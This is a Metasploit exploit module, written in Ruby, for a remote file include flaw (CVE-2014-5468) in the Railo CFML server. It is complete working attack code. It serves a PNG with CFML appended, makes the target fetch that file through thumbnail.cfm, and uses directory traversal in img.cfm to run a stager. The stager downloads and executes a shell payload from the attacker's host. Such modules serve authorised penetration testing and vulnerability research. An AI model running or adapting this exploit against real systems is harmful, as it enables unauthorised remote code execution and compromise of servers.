metasploit-framework/modules/exploits/linux/http/railo_cfml_rfi.rb

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Railo Remote File Include',
      'Description' => %q{
      This module exploits a remote file include vulnerability in Railo,
      tested against version 4.2.1. First, a call using a vulnerable
      <cffile> line in thumbnail.cfm allows an attacker to download an
      arbitrary PNG file. By appending a .cfm and taking advantage of
      a directory traversal, an attacker can append cold fusion markup
      to the PNG file and have it interpreted by the server. This is
      used to stage and execute a fully-fledged payload.
      },
      'License' => MSF_LICENSE,
      'Author' => [
        'Bryan Alexander <drone@ballastsecurity.net>', #Discovery/PoC
        'bperry' #metasploited
      ],
      'References' => [
        ['CVE', '2014-5468'],
        ['URL', 'http://hatriot.github.io/blog/2014/08/27/railo-security-part-four/']
      ],
      'Payload' => {
        'Space' => 99999, #if there is disk space, I think we will fit
        'BadChars' => "",
        'DisableNops' => true,
        'Compat' => {
          'PayloadType' => 'cmd',
          'RequiredCmd' => 'generic netcat perl ruby python bash telnet'
        }
      },
      'Platform' => %w{ unix },
      'Targets' =>
      [
        [
          'Automatic',
          {
            'Platform' => [ 'unix' ],
            'Arch' => ARCH_CMD,
          },
        ],
      ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Aug 26 2014'))

      register_options(
        [
          OptString.new('TARGETURI', [true, 'The base URI of the Railo server', '/railo-context/']),
          OptInt.new('STAGEWAIT', [true, 'Number of seconds to wait for stager to download', 10])
        ], self.class)
  end

  def check
  end

  def exploit
    if datastore['SRVHOST'] == '0.0.0.0'
      fail_with(Failure::BadConfig, 'SRVHOST must be an IP address accessible from another computer')
    end

    url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s

    @shell_name = Rex::Text.rand_text_alpha(15)
    stager_name = Rex::Text.rand_text_alpha(15) + '.cfm'

    start_service({'Uri' => {
      'Proc' => Proc.new { |cli, req|
        on_request_stager(cli, req)
      },
      'Path' => '/' + stager_name
    }})

    start_service({'Uri' => {
      'Proc' => Proc.new { |cli, req|
        on_request_shell(cli, req)
      },
      'Path' => '/' + @shell_name
    }})

    wh = '5000' #width and height

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path + '/admin/thumbnail.cfm'),
      'vars_get' => {
        'img' => url + '/' + stager_name,
        'height' => wh,
        'width' => wh
      }
    })

    unless (res && res.code == 500)
      fail_with(Failure::Unknown, 'Server did not respond in an expected way.')
    end

    print_status('Waiting for first stage to download...')

    i = datastore['STAGEWAIT']
    while !@staged && i > 0
      select(nil, nil, nil, 1)
      print_status("Waiting for #{i} more seconds...")
      i = i - 1
    end

    @staged = false

    if i == 0
      fail_with(Failure::Unknown, 'Server did not request the stager.')
    end

    hash = Rex::Text.md5("#{url + "/" + stager_name}-#{wh}-#{wh}") #5000 is width and height from GET

    hash.upcase!

    print_status('Executing stager')

    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'admin', 'img.cfm'),
      'vars_get' => {
        'attributes.src' => '../../../../temp/admin-ext-thumbnails/' + hash,
        'thistag.executionmode' => 'start'
      }
    })
  end

  def on_request_shell(cli, request)
    print_status('Sending payload')
    send_response(cli, payload.encoded, {})
    handler(cli)
  end

  def on_request_stager(cli, request)
    url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + '/' + @shell_name

    stager = "<cfhttp method='get' url='#{url}'"
    stager << " path='#GetDirectoryFromPath(GetCurrentTemplatePath())#..\\..\\..\\..\\..\\..\\'"
    stager << " file='#{@shell_name}'>"
    stager << '<cfexecute name="sh" arguments="'+@shell_name+'" timeout="99999"></cfexecute>'

    png = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcS'
    png << 'JAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg=='

    #A very small PNG file
    png = Rex::Text.decode_base64(png)

    stager.each_byte do |b|
      png << b
    end

    png << 0x00

    print_status('Sending stage. This might be sent multiple times.')
    send_response(cli, png, { 'Content-Type' => 'image/png' })

    @staged = true

    handler(cli)
  end
end